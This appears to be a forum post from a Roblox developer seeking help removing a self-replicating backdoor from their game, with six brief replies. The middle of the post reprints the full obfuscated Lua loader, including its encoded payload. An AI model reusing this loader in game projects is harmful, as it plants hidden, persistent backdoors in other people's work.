hi!! Me and a friend are working on a roleplay game. We've been working very hard at this, and we're almost ready to open the game!!
..unfortunately, we found a hacker backdoor in the game:
local i=string.byte;local f=string.char;local c=string.sub;local A=table.concat;local l=table.insert;local b=math.ldexp;local u=getfenv or function()return _ENV end;local l=setmetatable;local h=select;local l=unpack or table.unpack;local r=tonumber;local function s(i)local e,n,o="","",{}local a=256;local t={}for l=0,a-1 do t[l]=f(l)end;local l=1;local function d()local e=r(c(i,l,l),36)l=l+1;local n=r(c(i,l,l+e-1),36)l=l+e;return n end;e=f(d())o[1]=e;while l<#i do local l=d()if t[l]then n=t[l]else n=e..c(e,1,1)end;t[a]=e..c(n,1,1)o[#o+1],e,a=n,n,a+1 end;return table.concat(o)end;local d=s('25125027525124X27525025G25Z25X26026025024W27924M24M27927427525224L25027M27925025227927U27M25B27L27Z27524Y27L24Z27925I25T25H25D26528625127H27525F25X25I26227727925G25I26526225C28J27525T25I25I26325I25128427525V25T25C25U25T26225E27U27525U26C26P22I26T25024H27I27K27629G27Q27T27924Y24K27927827427424W27R29Q27G27R25729K27J2802502A027425329M29O27525A29K29S27R2A92AB27929Y2742A029I2752A327G29M2782752AG29K29T2AF2AR27R24G29Z29H2502AO27524N27Z27U24425427S29Z29I28227V2BB27X2A127S');local o=bit and bit.bxor or function(l,n)local e,o=1,0 while l>0 and n>0 do local c,t=l%2,n%2 if c~=t then o=o+e end l,n,e=(l-c)/2,(n-t)/2,e*2 end if l<n then l=n end while l>0 do local n=l%2 if n>0 then o=o+e end l,e=(l-n)/2,e*2 end return o end local function n(e,l,n)if n then local l=(e/2^(l-1))%2^((n-1)-(l-1)+1);return l-l%1;else local l=2^(l-1);return(e%(l+l)>=l)and 1 or 0;end;end;local l=1;local function e()local t,n,e,c=i(d,l,l+3);t=o(t,180)n=o(n,180)e=o(e,180)c=o(c,180)l=l+4;return(c*16777216)+(e*65536)+(n*256)+t;end;local function a()local e=o(i(d,l,l),180);l=l+1;return e;end;local function t()local e,n=i(d,l,l+2);e=o(e,180)n=o(n,180)l=l+2;return(n*256)+e;end;local function I()local l=e();local e=e();local c=1;local o=(n(e,1,20)*(2^32))+l;local l=n(e,21,31);local e=((-1)^n(e,32));if(l==0)then if(o==0)then return e*0;else l=1;c=0;end;elseif(l==2047)then return(o==0)and(e*(1/0))or(e*(0/0));end;return b(e,l-1023)*(c+(o/(2^52)));end;local r=e;local function b(e)local n;if(not e)then e=r();if(e==0)then return'';end;end;n=c(d,l,l+e-1);l=l+e;local e={}for l=1,#n do e[l]=f(o(i(c(n,l,l)),180))end return A(e);end;local l=e;local function s(...)return{...},h('#',...)end local function i()local f={};local d={};local l={};local r={f,d,nil,l};local l=e()local o={}for n=1,l do local e=a();local l;if(e==0)then l=(a()~=0);elseif(e==2)then l=I();elseif(e==1)then l=b();end;o[n]=l;end;r[3]=a();for i=1,e()do local l=a();if(n(l,1,1)==0)then local c=n(l,2,3);local a=n(l,4,6);local l={t(),t(),nil,nil};if(c==0)then l[3]=t();l[4]=t();elseif(c==1)then l[3]=e();elseif(c==2)then l[3]=e()-(2^16)elseif(c==3)then l[3]=e()-(2^16)l[4]=t();end;if(n(a,1,1)==1)then l[2]=o[l[2]]end if(n(a,2,2)==1)then l[3]=o[l[3]]end if(n(a,3,3)==1)then l[4]=o[l[4]]end f[i]=l;end end;for l=1,e()do d[l-1]=i();end;return r;end;local function t(l,e,c)local e=l[1];local n=l[2];local l=l[3];return function(...)local r=e;local a=n;local n=l;local l=s local o=1;local l=-1;local f={};local i={...};local d=h('#',...)-1;local l={};local e={};for l=0,d do if(l>=n)then f[l-n]=i[l+1];else e[l]=i[l+1];end;end;local l=d-n+1 local l;local n;while true do l=r[o];n=l[1];if n<=9 then if n<=4 then if n<=1 then if n>0 then o=l[3];else e[l[2]]=l[3];end;elseif n<=2 then local l=l[2]e[l](e[l+1])elseif n>3 then e[l[2]]=c[l[3]];else e[l[2]]=l[3];end;elseif n<=6 then if n>5 then do return end;else if(e[l[2]]==e[l[4]])then o=o+1;else o=l[3];end;end;elseif n<=7 then o=l[3];elseif n==8 then e[l[2]]=e[l[3]][l[4]];else e[l[2]]=t(a[l[3]],nil,c);end;elseif n<=14 then if n<=11 then if n>10 then do return end;else local l=l[2]e[l](e[l+1])end;elseif n<=12 then e[l[2]]=e[l[3]][l[4]];elseif n>13 then if(e[l[2]]==e[l[4]])then o=o+1;else o=l[3];end;else local l=l[2]e[l]=e[l]()end;elseif n<=16 then if n==15 then if(e[l[2]]~=e[l[4]])then o=o+1;else o=l[3];end;else if(e[l[2]]~=e[l[4]])then o=o+1;else o=l[3];end;end;elseif n<=17 then e[l[2]]=t(a[l[3]],nil,c);elseif n==18 then e[l[2]]=c[l[3]];else local l=l[2]e[l]=e[l]()end;o=o+1;end;end;end;return t(i(),{},u())();
....and we don't know how to get rid of it.
The script is copying itself into other models, and the name of each script is one character long every time.
Does anyone have a plugin or something we can do to get rid of this? We tried deleting every script containing this, but they keep coming back. I know this isn't really a scripting help question, but I don't have an account on the roblox dev forums (I tried but I never got in) and we're not sure where else to ask or what to do.
Any help is greatly appreciated!

6 comments
Have you tried creating a new place
You mean moving the game to a new place? Or making a new game entirely?
making a new game entirely
have you imported a freemodel? It may be that
bruh I hate synapse obfusicators, its the only obfusicated code i havent got a method to deobfusicate
Simple solution: don't use free models next time